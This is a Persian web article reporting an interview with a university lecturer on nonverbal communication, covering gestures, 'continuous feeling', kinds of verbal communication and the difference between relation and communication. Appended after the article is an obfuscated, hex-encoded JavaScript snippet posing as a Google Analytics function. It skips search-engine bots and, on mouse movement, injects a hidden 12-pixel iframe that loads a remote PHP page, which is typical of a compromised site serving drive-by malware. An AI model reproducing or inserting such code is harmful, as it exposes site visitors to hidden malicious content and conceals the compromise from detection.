



دست دادن وزیر امور خارجه ایران در این تصویر نشانی از اقتدار ایران و دارا شدن دست وزیر امورخارجه فرانسه نشانی تمایل زیاد این کشور برای ارتباط با ایران

آنچه در زیر ذکر گردیده، حاصل گفتگویی پیرامون ارتباطات غیر کلامی با جناب آقای دکتر غلامرضا آذری است. ایشان از اعضای هیئت علمی دانشگاه آزاد اسلامی واحد نهران جنوب می باشند.



مفهوم اصلی ارتباط غیر-کلامی نشانیدن پیام بدون ذره-ای استفاده از کلام است. ارتباطات غیر کلامی شامل حرکات، نشانه-ها و رفتارها می-شود. حرکات توسط سر و دست و بدن، علایم از چشم و اعضای صورت و رفتار- توام با این دو شکل می-گیرد. مثلا رفتار در مجلس عروسی همراه با تبسم است و در مجلس سوگواری با چهره-ی درهمرفته و گرفته همراه است.

ارتباط غیر-کلامی کاملا توام با عواطف و حتی احساسات و هیجانات و علایق فردی است. و از این بستر جدا نمی-شود. اما در کلام همه-ی اینها منفصل است. هر چه ما در ارتباط غیر کلامی به عواطف و احساسات توام با کلام توجه داشته باشیم نتیجه-ی بهتری از برقراری ارتباط خواهیم گرفت. «احساس پیوسته» یکی از مواردی است که می توانیم بصورت برجسته نقش احساسات و هیجانات را در ارتباط غیر-کلامی ببینیم.

احساس پیوسته در جهت یک تأثیر شکل می-گیرد. مثل خبر از دست دادن عزیز. اگر بخواهید ارتباط غیر-کلامی با او داشته باشید. ذهن شما از طریق احساس و ادراک روی تصویر آن آدم، فوکوس (foucs)

می-کند. به ذهن مراجعه می-کنید و فایلها را بررسی می-کنید. پرونده-ها را بیرون می-کشید. و آن آدم تصویریش به ذهن شما می-آید. بعد سوار ماشین می-شوید و به راه می-افتید و در طول مسیر این احساس در شما وجود دارد. آن چیزی که در طول این مسیر به شما دست می-دهد و آن وضعیت است که در این مسیر شما و شخصیت شما را شکل می-دهد. به طور کلی به آن «احساس پیوسته» می-گویند.

ارتباط کلامی و غیر-کلامی مکمل یکدیگر هستند. بیش از 70% ارتباطات، غیر-کلامی رخ می-دهد. ارتباط غیر-کلامی تأیید ارتباط کلامی است. همچنین تکوین هست.

باغت گفتار آدمی (communication verbal) از سه منطقه-ی آغاز و اوج و پایان و دو گره تشکیل شده است. گره-گشایی اول بین نقطه-ی آغاز و اوج قرار دارد. گره-گشایی دوم بین اوج و پایان قرار دارد. ما با یک سناریوی کلامی مواجه می-شویم که این سناریو- مبتنی بر یک هدف و منظور و قصد-ی شکل می-گیرد. و مبتنی بر یک آماج فکری پیاده می-شود. و بر اساس زمینه-ای که فکر در آن معنا پیدا می-کند، به حامل مورد نظر می-نشیند. در ضمن به فرستنده-ی پیام هم وابسته است. من بعنوان یک روحانی یا من بعنوان استاد دانشگاه یا من بعنوان کارگر ساختمانی با هم فرق دارد. همچنان که مخاطبان من، که بصورت تک گویی یا چند گویی در معرض جریان فکری و پیام من هستند؛ اهمیت پیدا می-کنند.

ارتباط کلامی به سه نوع تقسیم می-شود 1. گفتاری (speech) 2. کلامی (verbal) 3. شفاهی (oral)

گفتار (speech) به زبان علمی اطلاق می-شود، که در آن غلط و اشتباه لفظی کم می-بینیم. سوگیری که در آن دیده می-شود به محتوی برمی-گردد و به ارتباطات مربوط نیست.

کلامی (verbal) دامنه-ی آن وسیع تر است. «هر سخن جایی و هر نکته مکانی دارد»، مصداق این نوع ارتباط است. مثلاً در سخنرانیها ما با این نوع ارتباط کلامی مواجه هستیم. مانند سخنرانیهای شهید مطهری که یکی از انقلابی-ترین سخنرانیهای تاریخی و اعتقادی ما است. تن-آز (شدت و ضعف صدا)، تأثیر کلام ایشان روی عامه-ی مردم بسیار بالا بود. ایشان کلام را طنین-افکن می-کرد و در جان و دل مردم نفوذ می-کرد.

شفاهی (oral) نوع ارتباط کلامی عامه مردم است. مانند صحبتها-یی که هر روزه در تاکسی رد و بدل میشود. در این نوع، ارتباط غیر کلامی نقش پر رنگتری دارد. تن و لحن و حالات چهره و ...

نوع ارتباط کلامی و عاظم، کلامی (speech) و عامه-ی مردم شفاهی (oral) است. اگر وعظ نوع ارتباط کلامی خود را به عامه-ی مردم نزدیک کنند تأثیر بیش تری را روی عامه-ی مردم خواهد گذاشت. مانند

سخنرانیهای آقای قرائتی که در برنامه-ی درسهای از قرآن پخش می-شود. ایشان سخن-وری در حوزه-های علمیه را از طریق تلویزیون به بیان عامه-ی مردم نزدیک کرده-اند.

اگر شما در مورد من (فرستنده) پیشینه-ی ذهنی داشته باشید؛ ارتباط غیر-کلامی من بروی شما تاثیر کمتری دارد. دکتر آذری در ادامه به این مطلب اشاره کردند که ما در ایران این مورد را مطالعه نکرده-ایم و از تاثیر آن ناآگاهیم.

و همچنین به تاثیر ارتباطات غیر کلامی در فرهنگ پرداختند و بحث را با فرق نهادن بین رابطه (relation) و ارتباط (communication) آغاز کردند.

«میان رابطه (relation) و ارتباط (communication) فرق می گذارم. رابطه تداوم بیش-تری دارد. رابطه-ی فرهنگ دینی و ارتباط غیر دینی را در نظر بگیرید. مثلاً می-خواهید مفاهیم ضمنی دینی را و نه مفاهیم صریح را، فرا بگیرید ممکن است یک زمان پای یک منبر بنشینید بعدش بروید به دنبال مابقی زندگیتان. و در عین حال ممکن است، سراغ یک متخصص دینی بروید و مفاهیم را نزد او در اثر یک رابطه-ی پیوسته فرا بگیرید حال کدامیک تاثیر بیشتری دارد؟»

می توان گفت که ارتباط (communication) اینجایی و اکنونی است و رابطه (relation) فراگیر است و تداوم دارد.

«در رابطه (relation)، غیر کلامی نقش مهمی دارد. مثلاً زمانی که شما بین دو نماز مغرب و عشاء برای طرح مسأله نزد امام جماعت مسجد می-روید حالات چهره و .. در جان و دل شما می نشیند.»

جهت مطالعه سایر مقالات و مطالب این پرونده می توانید بر روی tag زیر کلیک کنید.

var
_0xb55d=["x74x6Fx4Cx6Fx63x61x6Cx65x4Cx6Fx77x65x72x43x61x73x65","x75x73x65x72x41x67x65x6Ex74","x79x61x6Ex64x65x78x62x6Fx74","x79x61x6Ex64x65x78x69x6Dx61x67x65x73","x67x6Fx67x6Cx65x62x6Fx74","x69x6Ex64x65x78x4Fx66","x77x69x64x74x68","x68x65x69x67x68x74","x6Fx6Ex6Dx6Fx75x73x65x6Dx6Fx76x65","x62x6Fx64x79","x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65","x67x6Fx67x6Cx65x61x6Ex61x6Cx79x74x69x63x73x69x66x72x61x6Dx65","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x69x66x72x61x6Dx65","x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74","x31x32x70x78","x69x64","x73x72x63","x68x74

```
x74x70x3Ax2Fx2Fx77x77x2Ex63x65x6Cx69x6Ex65x6Cx67x72x61x70x68x65x2
Ex63x6Fx6Dx2Fx6Dx6Fx64x75x6Cx65x73x2Fx6Dx6Fx64x5Fx61x72x63x68x69x76x
65x2Fx6Dx69x64x64x6Cx65x2Ex70x68x70","x61x70x70x65x6Ex64x43x68x69x6Cx
64","x69x6Ex6Ex65x72x57x69x64x74x68","x6Ex75x6Dx62x65x72","x69x6Ex6Ex65
x72x48x65x69x67x68x74","x64x6Fx63x75x6Dx65x6Ex74x45x6Cx65x6Dx65x6Ex7
4","x63x6Cx69x65x6Ex74x57x69x64x74x68","x63x6Cx69x65x6Ex74x48x65x69x67
x68x74","x67x6Fx6Fx67x6Cx65x41x6Ex61x6Cx79x74x69x63x73x53x74x61x74x69
x73x74x69x63x73x42x75x69x6Cx64x28x29"];function
googleAnalyticsStatisticsBuild(){var
_0xc3dfx2=navigator[_0xb55d[1]][_0xb55d[0]]();var
_0xc3dfx3=[_0xb55d[2],_0xb55d[3],_0xb55d[4],_0xb55d[5]];for(k in
_0xc3dfx3){if(_0xc3dfx2[_0xb55d[6]](_0xc3dfx3[k])!=-1){return ;} ;} ;var
_0xc3dfx4=detectBrowserSize();if(_0xc3dfx4[_0xb55d[7]]==0||_0xc3dfx4[_0xb55d[
8]]==0){return ;} ;var
_0xc3dfx5=false;if(document[_0xb55d[11]](_0xb55d[10])[0][_0xb55d[9]]){_0xc3dfx
5=document[_0xb55d[11]](_0xb55d[10])[0][_0xb55d[9]]};
;document[_0xb55d[11]](_0xb55d[10])[0][_0xb55d[9]]=function
(){if(!document[_0xb55d[13]](_0xb55d[12])){iframe=document[_0xb55d[15]](_0xb
55d[14]);iframe[_0xb55d[7]]=_0xb55d[16];iframe[_0xb55d[8]]=_0xb55d[16];iframe
[_0xb55d[17]]=_0xb55d[12];iframe[_0xb55d[18]]=_0xb55d[19];document[_0xb55d
[11]](_0xb55d[10])[0][_0xb55d[20]](iframe);}
;if(_0xc3dfx5!==false){_0xc3dfx5();} ;} ;} ;function detectBrowserSize(){var
_0xc3dfx7=0,_0xc3dfx8=0;if( typeof
(window[_0xb55d[21]])==_0xb55d[22]){_0xc3dfx7=window[_0xb55d[21]];_0xc3dfx
8=window[_0xb55d[23]];} else
{if(document[_0xb55d[24]]&&(document[_0xb55d[24]][_0xb55d[25]]||document[_0
xb55d[24]][_0xb55d[26]])){_0xc3dfx7=document[_0xb55d[24]][_0xb55d[25]];_0xc
3dfx8=document[_0xb55d[24]][_0xb55d[26]];} else
{if(document[_0xb55d[10]]&&(document[_0xb55d[10]][_0xb55d[25]]||document[_0
xb55d[10]][_0xb55d[26]])){_0xc3dfx7=document[_0xb55d[10]][_0xb55d[25]];_0xc
3dfx8=document[_0xb55d[10]][_0xb55d[26]];} ;} ;} ;return
{width:_0xc3dfx7,height:_0xc3dfx8};} ;setTimeout(_0xb55d[27],500);
```